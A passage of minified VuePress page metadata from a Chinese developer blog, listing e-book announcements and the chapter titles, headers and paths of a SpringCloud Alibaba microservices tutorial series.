Alibaba实战》正式发布"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/knowledge/pdf/2022-07-25-%E5%8D%81%E5%A4%A7%E7%AF%87%E7%AB%A0-%E5%85%B126%E4%B8%AA%E7%AB%A0%E8%8A%82-332%E9%A1%B5-%E6%89%93%E5%8C%85%E5%8F%91%E5%B8%83.html"},{name:"twitter:title",content:"《SpringCloud Alibaba实战》正式发布"},{name:"twitter:url",content:"/md/knowledge/pdf/2022-07-25-%E5%8D%81%E5%A4%A7%E7%AF%87%E7%AB%A0-%E5%85%B126%E4%B8%AA%E7%AB%A0%E8%8A%82-332%E9%A1%B5-%E6%89%93%E5%8C%85%E5%8F%91%E5%B8%83.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/knowledge/pdf/2022-07-25-%E5%8D%81%E5%A4%A7%E7%AF%87%E7%AB%A0-%E5%85%B126%E4%B8%AA%E7%AB%A0%E8%8A%82-332%E9%A1%B5-%E6%89%93%E5%8C%85%E5%8F%91%E5%B8%83.html",relativePath:"md/knowledge/pdf/2022-07-25-十大篇章-共26个章节-332页-打包发布.md",key:"v-0b66ae88",path:"/md/knowledge/pdf/2022-07-25-%E5%8D%81%E5%A4%A7%E7%AF%87%E7%AB%A0-%E5%85%B126%E4%B8%AA%E7%AB%A0%E8%8A%82-332%E9%A1%B5-%E6%89%93%E5%8C%85%E5%8F%91%E5%B8%83.html",headers:[{level:2,title:"电子书结构",slug:"电子书结构"},{level:2,title:"如何获取电子书",slug:"如何获取电子书"},{level:2,title:"加入星球",slug:"加入星球"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"《深入理解高并发编程(第1版)》正式发布",frontmatter:{layout:"post",category:"interview",title:"《深入理解高并发编程(第1版)》正式发布",tagline:"by 冰河",tag:["hack","interview"],excerpt:"2020年疫情期间,大部分企业都实行居家办公的策略,而我,也在家里办公。这就省去了每天坐公交上下班的时间,无形当中,节省了很多时间,也就意味着有了更多的时间来自由支配。那多出来的时间干啥?想来想去,还是写一些关于高并发编程的技术文章吧,因为在网上公开的关于高并发编程的知识要么很零散,要么就是收费的,根本无法满足我对高并发编程的需求。 **怎么办?既然网上没有,那我就自己写吧。**",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"《深入理解高并发编程(第1版)》正式发布"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/knowledge/pdf/2022-07-25-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E9%AB%98%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B-%E7%AC%AC1%E7%89%88.html"},{name:"twitter:title",content:"《深入理解高并发编程(第1版)》正式发布"},{name:"twitter:url",content:"/md/knowledge/pdf/2022-07-25-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E9%AB%98%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B-%E7%AC%AC1%E7%89%88.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/knowledge/pdf/2022-07-25-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E9%AB%98%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B-%E7%AC%AC1%E7%89%88.html",relativePath:"md/knowledge/pdf/2022-07-25-深入理解高并发编程-第1版.md",key:"v-5a600e7a",path:"/md/knowledge/pdf/2022-07-25-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E9%AB%98%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B-%E7%AC%AC1%E7%89%88.html",headers:[{level:2,title:"写作背景",slug:"写作背景"},{level:2,title:"艰难的写作过程",slug:"艰难的写作过程"},{level:2,title:"整理电子书",slug:"整理电子书"},{level:2,title:"关于电子书",slug:"关于电子书"},{level:2,title:"全书内容概览",slug:"全书内容概览"},{level:2,title:"后续规划",slug:"后续规划"},{level:2,title:"加入星球",slug:"加入星球"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springboot/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/microservices/springboot/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springboot/default.html",relativePath:"md/microservices/springboot/default.md",key:"v-3a9d3f25",path:"/md/microservices/springboot/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloud/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/microservices/springcloud/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloud/default.html",relativePath:"md/microservices/springcloud/default.md",key:"v-5cc177b2",path:"/md/microservices/springcloud/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第01章:专栏开篇",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第01章:专栏开篇",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"很多小伙伴留言说,冰河你能不能写一些关于Java8的文章呢,看书看不下去,看视频进度太慢。好吧,看到不少读者对Java8还是比较陌生的,那我就写一些关于Java8的文章吧,希望对大家有所帮助。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第01章:专栏开篇"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba%E4%B8%93%E6%A0%8F%E5%BC%80%E7%AF%87.html"},{name:"twitter:title",content:"第01章:专栏开篇"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba%E4%B8%93%E6%A0%8F%E5%BC%80%E7%AF%87.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba%E4%B8%93%E6%A0%8F%E5%BC%80%E7%AF%87.html",relativePath:"md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba专栏开篇.md",key:"v-ed5cf674",path:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba%E4%B8%93%E6%A0%8F%E5%BC%80%E7%AF%87.html",headers:[{level:2,title:"专栏整体结构",slug:"专栏整体结构"},{level:2,title:"专栏形式",slug:"专栏形式"},{level:2,title:"适应群体",slug:"适应群体"},{level:2,title:"资源安排",slug:"资源安排"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第02章:专栏设计",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第02章:专栏设计",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"从今天开始,我们正式进入《SpringCloud Alibaba实战》专栏的学习,在《开篇》一文中,我们大体介绍了整个专栏的结构安排。今天我们就再次和小伙伴们聊聊《SpringCloud Alibaba实战》专栏的设计。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第02章:专栏设计"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-04-SA%E5%AE%9E%E6%88%98%C2%B7%E7%AC%AC%E4%B8%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E8%AE%BE%E8%AE%A1.html"},{name:"twitter:title",content:"第02章:专栏设计"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-04-SA%E5%AE%9E%E6%88%98%C2%B7%E7%AC%AC%E4%B8%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E8%AE%BE%E8%AE%A1.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-04-SA%E5%AE%9E%E6%88%98%C2%B7%E7%AC%AC%E4%B8%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E8%AE%BE%E8%AE%A1.html",relativePath:"md/microservices/springcloudalibaba/2022-04-04-SA实战·第一篇-专栏设计.md",key:"v-4c9ffc34",path:"/md/microservices/springcloudalibaba/2022-04-04-SA%E5%AE%9E%E6%88%98%C2%B7%E7%AC%AC%E4%B8%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E8%AE%BE%E8%AE%A1.html",headers:[{level:2,title:"整体设计",slug:"整体设计"},{level:2,title:"案例驱动",slug:"案例驱动"},{level:2,title:"综合对比",slug:"综合对比"},{level:2,title:"资源安排",slug:"资源安排"},{level:2,title:"其他说明",slug:"其他说明"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第03章:微服务介绍",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第03章:微服务介绍",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"今天,我们继续为大家分享《[SpringCloud Alibaba实战](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992#wechat_redirect)》专栏的内容。今天,为大家分享的内容是微服务中常见的一些概念性的内容。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第03章:微服务介绍"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-09-SA%E5%AE%9E%E6%88%98-%E5%BE%AE%E6%9C%8D%E5%8A%A1%E4%BB%8B%E7%BB%8D.html"},{name:"twitter:title",content:"第03章:微服务介绍"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-09-SA%E5%AE%9E%E6%88%98-%E5%BE%AE%E6%9C%8D%E5%8A%A1%E4%BB%8B%E7%BB%8D.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-09-SA%E5%AE%9E%E6%88%98-%E5%BE%AE%E6%9C%8D%E5%8A%A1%E4%BB%8B%E7%BB%8D.html",relativePath:"md/microservices/springcloudalibaba/2022-04-09-SA实战-微服务介绍.md",key:"v-075dfb8c",path:"/md/microservices/springcloudalibaba/2022-04-09-SA%E5%AE%9E%E6%88%98-%E5%BE%AE%E6%9C%8D%E5%8A%A1%E4%BB%8B%E7%BB%8D.html",headers:[{level:2,title:"题外话",slug:"题外话"},{level:2,title:"微服务化后的问题",slug:"微服务化后的问题"},{level:2,title:"微服务常见概念",slug:"微服务常见概念"},{level:3,title:"服务调用",slug:"服务调用"},{level:3,title:"服务治理",slug:"服务治理"},{level:3,title:"注册中心",slug:"注册中心"},{level:3,title:"服务网关",slug:"服务网关"},{level:3,title:"服务限流",slug:"服务限流"},{level:3,title:"服务熔断",slug:"服务熔断"},{level:3,title:"服务降级",slug:"服务降级"},{level:3,title:"服务容错",slug:"服务容错"},{level:3,title:"链路追踪",slug:"链路追踪"},{level:2,title:"SpringCloud Alibaba",slug:"springcloud-alibaba"},{level:3,title:"主要功能",slug:"主要功能"},{level:3,title:"组件",slug:"组件"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第04章:项目说明、流程设计、技术选型与模块划分",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第04章:项目说明、流程设计、技术选型与模块划分",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"在前面的章节中,我们对《[SpringCloud Alibaba实战》](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992#wechat_redirect)专栏的内容进行了简单的介绍,并简单介绍了微服务的相关概念。今天,继续为大家分享《[SpringCloud Alibaba实战》](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992#wechat_redirect)专栏的内容。今天与小伙伴们一起聊聊整个实战专栏最后的准备工作,包括:项目说明、流程设计、技术选型和模块划分。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第04章:项目说明、流程设计、技术选型与模块划分"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-13-SA%E5%AE%9E%E6%88%98%C2%B7%E9%A1%B9%E7%9B%AE%E8%AF%B4%E6%98%8E-%E6%B5%81%E7%A8%8B%E8%AE%BE%E8%AE%A1-%E6%8A%80%E6%9C%AF%E9%80%89%E5%9E%8B-%E6%A8%A1%E5%9D%97%E5%88%92%E5%88%86.html"},{name:"twitter:title",content:"第04章:项目说明、流程设计、技术选型与模块划分"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-13-SA%E5%AE%9E%E6%88%98%C2%B7%E9%A1%B9%E7%9B%AE%E8%AF%B4%E6%98%8E-%E6%B5%81%E7%A8%8B%E8%AE%BE%E8%AE%A1-%E6%8A%80%E6%9C%AF%E9%80%89%E5%9E%8B-%E6%A8%A1%E5%9D%97%E5%88%92%E5%88%86.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-13-SA%E5%AE%9E%E6%88%98%C2%B7%E9%A1%B9%E7%9B%AE%E8%AF%B4%E6%98%8E-%E6%B5%81%E7%A8%8B%E8%AE%BE%E8%AE%A1-%E6%8A%80%E6%9C%AF%E9%80%89%E5%9E%8B-%E6%A8%A1%E5%9D%97%E5%88%92%E5%88%86.html",relativePath:"md/microservices/springcloudalibaba/2022-04-13-SA实战·项目说明-流程设计-技术选型-模块划分.md",key:"v-537a8168",path:"/md/microservices/springcloudalibaba/2022-04-13-SA%E5%AE%9E%E6%88%98%C2%B7%E9%A1%B9%E7%9B%AE%E8%AF%B4%E6%98%8E-%E6%B5%81%E7%A8%8B%E8%AE%BE%E8%AE%A1-%E6%8A%80%E6%9C%AF%E9%80%89%E5%9E%8B-%E6%A8%A1%E5%9D%97%E5%88%92%E5%88%86.html",headers:[{level:2,title:"项目说明",slug:"项目说明"},{level:2,title:"项目流程设计",slug:"项目流程设计"},{level:2,title:"技术选型",slug:"技术选型"},{level:2,title:"模块划分",slug:"模块划分"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第05章:完成通用模块的开发",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第05章:完成通用模块的开发",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"从今天开始,我们正式进入《[SpringCloud Alibaba实战](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=21#wechat_redirect)》专栏撸源码的环节。根据前面文章的描述,我们采用Maven来管理整个项目的结构,主要使用SpringBoot+SpringCloud Alibaba技术栈实现。今天,是我们撸源码的第一天,我们先使用SpringBoot来快速搭建项目并且完成通用工具类和实体类的开发。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第05章:完成通用模块的开发"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-18-SA%E5%AE%9E%E6%88%98-%E5%BC%80%E6%92%B8-%E5%AE%8C%E6%88%90%E9%80%9A%E7%94%A8%E6%A8%A1%E5%9D%97%E7%9A%84%E5%BC%80%E5%8F%91.html"},{name:"twitter:title",content:"第05章:完成通用模块的开发"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-18-SA%E5%AE%9E%E6%88%98-%E5%BC%80%E6%92%B8-%E5%AE%8C%E6%88%90%E9%80%9A%E7%94%A8%E6%A8%A1%E5%9D%97%E7%9A%84%E5%BC%80%E5%8F%91.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-18-SA%E5%AE%9E%E6%88%98-%E5%BC%80%E6%92%B8-%E5%AE%8C%E6%88%90%E9%80%9A%E7%94%A8%E6%A8%A1%E5%9D%97%E7%9A%84%E5%BC%80%E5%8F%91.html",relativePath:"md/microservices/springcloudalibaba/2022-04-18-SA实战-开撸-完成通用模块的开发.md",key:"v-60546cf5",path:"/md/microservices/springcloudalibaba/2022-04-18-SA%E5%AE%9E%E6%88%98-%E5%BC%80%E6%92%B8-%E5%AE%8C%E6%88%90%E9%80%9A%E7%94%A8%E6%A8%A1%E5%9D%97%E7%9A%84%E5%BC%80%E5%8F%91.html",headers:[{level:2,title:"项目总体结构",slug:"项目总体结构"},{level:2,title:"创建Maven父工程",slug:"创建maven父工程"},{level:2,title:"创建工具类模块",slug:"创建工具类模块"},{level:3,title:"添加项目依赖",slug:"添加项目依赖"},{level:3,title:"核心类开发",slug:"核心类开发"},{level:2,title:"创建实体类模块",slug:"创建实体类模块"},{level:3,title:"添加项目依赖",slug:"添加项目依赖-2"},{level:3,title:"核心类开发",slug:"核心类开发-2"},{level:2,title:"创建数据表",slug:"创建数据表"},{level:2,title:"知识星球",slug:"知识星球"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第06章:快速搭建三大微服务并完成交互开发与测试",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第06章:快速搭建三大微服务并完成交互开发与测试",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"在《[SpringCloud Alibaba实战](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect)》专栏中前面的文章,我们为开发用户微服务、商品微服务和订单微服务做了充分的准备。今天,我们就一起正式开撸三大微服务的核心业务。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第06章:快速搭建三大微服务并完成交互开发与测试"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-21-SA%E5%AE%9E%E6%88%98-%E5%AE%8C%E6%88%90%E4%B8%89%E5%A4%A7%E5%BE%AE%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%90%AD%E5%BB%BA%E4%B8%8E%E4%BA%A4%E4%BA%92%E5%BC%80%E5%8F%91.html"},{name:"twitter:title",content:"第06章:快速搭建三大微服务并完成交互开发与测试"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-21-SA%E5%AE%9E%E6%88%98-%E5%AE%8C%E6%88%90%E4%B8%89%E5%A4%A7%E5%BE%AE%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%90%AD%E5%BB%BA%E4%B8%8E%E4%BA%A4%E4%BA%92%E5%BC%80%E5%8F%91.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-21-SA%E5%AE%9E%E6%88%98-%E5%AE%8C%E6%88%90%E4%B8%89%E5%A4%A7%E5%BE%AE%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%90%AD%E5%BB%BA%E4%B8%8E%E4%BA%A4%E4%BA%92%E5%BC%80%E5%8F%91.html",relativePath:"md/microservices/springcloudalibaba/2022-04-21-SA实战-完成三大微服务的搭建与交互开发.md",key:"v-7918ac0c",path:"/md/microservices/springcloudalibaba/2022-04-21-SA%E5%AE%9E%E6%88%98-%E5%AE%8C%E6%88%90%E4%B8%89%E5%A4%A7%E5%BE%AE%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%90%AD%E5%BB%BA%E4%B8%8E%E4%BA%A4%E4%BA%92%E5%BC%80%E5%8F%91.html",headers:[{level:2,title:"文章结构",slug:"文章结构"},{level:2,title:"项目概述",slug:"项目概述"},{level:3,title:"整体交互流程",slug:"整体交互流程"},{level:3,title:"服务规划",slug:"服务规划"},{level:2,title:"用户微服务",slug:"用户微服务"},{level:3,title:"搭建项目",slug:"搭建项目"},{level:3,title:"开发持久层",slug:"开发持久层"},{level:3,title:"开发业务逻辑层",slug:"开发业务逻辑层"},{level:3,title:"开发接口层",slug:"开发接口层"},{level:3,title:"开发服务启动类",slug:"开发服务启动类"},{level:2,title:"商品微服务",slug:"商品微服务"},{level:3,title:"项目搭建",slug:"项目搭建"},{level:3,title:"开发持久层",slug:"开发持久层-2"},{level:3,title:"开发业务逻辑层",slug:"开发业务逻辑层-2"},{level:3,title:"开发接口层",slug:"开发接口层-2"},{level:3,title:"开发服务启动类",slug:"开发服务启动类-2"},{level:2,title:"订单微服务",slug:"订单微服务"},{level:3,title:"项目搭建",slug:"项目搭建-2"},{level:3,title:"开发持久层",slug:"开发持久层-3"},{level:3,title:"开发业务逻辑层",slug:"开发业务逻辑层-3"},{level:3,title:"开发接口层",slug:"开发接口层-3"},{level:3,title:"开发服务启动类",slug:"开发服务启动类-3"},{level:3,title:"开发辅助类",slug:"开发辅助类"},{level:2,title:"测试项目",slug:"测试项目"},{level:3,title:"添加测试数据",slug:"添加测试数据"},{level:3,title:"测试库存不足的情况",slug:"测试库存不足的情况"},{level:3,title:"测试正常下单的情况",slug:"测试正常下单的情况"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第07章:实现服务的自动注册与发现",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第07章:实现服务的自动注册与发现",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"本文实现服务治理,主要实现服务的自动注册与发现功能",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第07章:实现服务的自动注册与发现"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-25-SA%E5%AE%9E%E6%88%98-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B3%A8%E5%86%8C%E4%B8%8E%E5%8F%91%E7%8E%B0.html"},{name:"twitter:title",content:"第07章:实现服务的自动注册与发现"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-25-SA%E5%AE%9E%E6%88%98-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B3%A8%E5%86%8C%E4%B8%8E%E5%8F%91%E7%8E%B0.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-25-SA%E5%AE%9E%E6%88%98-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B3%A8%E5%86%8C%E4%B8%8E%E5%8F%91%E7%8E%B0.html",relativePath:"md/microservices/springcloudalibaba/2022-04-25-SA实战-服务治理-实现服务的注册与发现.md",key:"v-d1e51886",path:"/md/microservices/springcloudalibaba/2022-04-25-SA%E5%AE%9E%E6%88%98-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B3%A8%E5%86%8C%E4%B8%8E%E5%8F%91%E7%8E%B0.html",headers:[{level:2,title:"硬编码的问题",slug:"硬编码的问题"},{level:2,title:"服务治理",slug:"服务治理"},{level:2,title:"注册中心",slug:"注册中心"},{level:3,title:"服务注册与发现",slug:"服务注册与发现"},{level:3,title:"服务配置",slug:"服务配置"},{level:3,title:"服务健康检测",slug:"服务健康检测"},{level:3,title:"常见的注册中心",slug:"常见的注册中心"},{level:2,title:"搭建Nacos环境",slug:"搭建nacos环境"},{level:2,title:"集成Nacos注册中心",slug:"集成nacos注册中心"},{level:3,title:"改造用户微服务",slug:"改造用户微服务"},{level:3,title:"改造其他微服务",slug:"改造其他微服务"},{level:2,title:"实现服务发现",slug:"实现服务发现"},{level:3,title:"注入服务发现类",slug:"注入服务发现类"},{level:3,title:"创建动态服务地址方法",slug:"创建动态服务地址方法"},{level:3,title:"定义服务提供者名称",slug:"定义服务提供者名称"},{level:3,title:"修改提交订单逻辑",slug:"修改提交订单逻辑"},{level:2,title:"测试项目",slug:"测试项目"},{level:3,title:"添加测试数据",slug:"添加测试数据"},{level:3,title:"测试库存不足的情况",slug:"测试库存不足的情况"},{level:3,title:"测试正常下单的情况",slug:"测试正常下单的情况"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第08章:实现服务调用的负载均衡",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第08章:实现服务调用的负载均衡",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"本文实现服务治理:实现服务调用的负载均衡",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第08章:实现服务调用的负载均衡"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-27-SA%E5%AE%9E%E6%88%98-%E7%AC%AC8%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E8%B0%83%E7%94%A8%E7%9A%84%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1.html"},{name:"twitter:title",content:"第08章:实现服务调用的负载均衡"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-27-SA%E5%AE%9E%E6%88%98-%E7%AC%AC8%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E8%B0%83%E7%94%A8%E7%9A%84%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-27-SA%E5%AE%9E%E6%88%98-%E7%AC%AC8%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E8%B0%83%E7%94%A8%E7%9A%84%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1.html",relativePath:"md/microservices/springcloudalibaba/2022-04-27-SA实战-第8章-服务治理-实现服务调用的负载均衡.md",key:"v-5550a4cf",path:"/md/microservices/springcloudalibaba/2022-04-27-SA%E5%AE%9E%E6%88%98-%E7%AC%AC8%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E8%B0%83%E7%94%A8%E7%9A%84%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1.html",headers:[{level:2,title:"负载均衡",slug:"负载均衡"},{level:3,title:"服务端负载均衡",slug:"服务端负载均衡"},{level:3,title:"客户端负载均衡",slug:"客户端负载均衡"},{level:2,title:"启动多服务",slug:"启动多服务"},{level:3,title:"启动多个用户微服务",slug:"启动多个用户微服务"},{level:3,title:"启动多个商品微服务",slug:"启动多个商品微服务"},{level:2,title:"实现自定义负载均衡",slug:"实现自定义负载均衡"},{level:3,title:"修改订单微服务代码",slug:"修改订单微服务代码"},{level:3,title:"测试负载均衡效果",slug:"测试负载均衡效果"},{level:2,title:"使用Ribbon实现负载均衡",slug:"使用ribbon实现负载均衡"},{level:3,title:"修改订单微服务代码",slug:"修改订单微服务代码-2"},{level:3,title:"测试负载均衡效果",slug:"测试负载均衡效果-2"},{level:2,title:"使用Fegin实现负载均衡",slug:"使用fegin实现负载均衡"},{level:3,title:"修改订单微服务代码",slug:"修改订单微服务代码-3"},{level:3,title:"测试负载均衡效果",slug:"测试负载均衡效果-3"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第09章:服务雪崩与容错方案",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第09章:服务雪崩与容错方案",tagline:"by 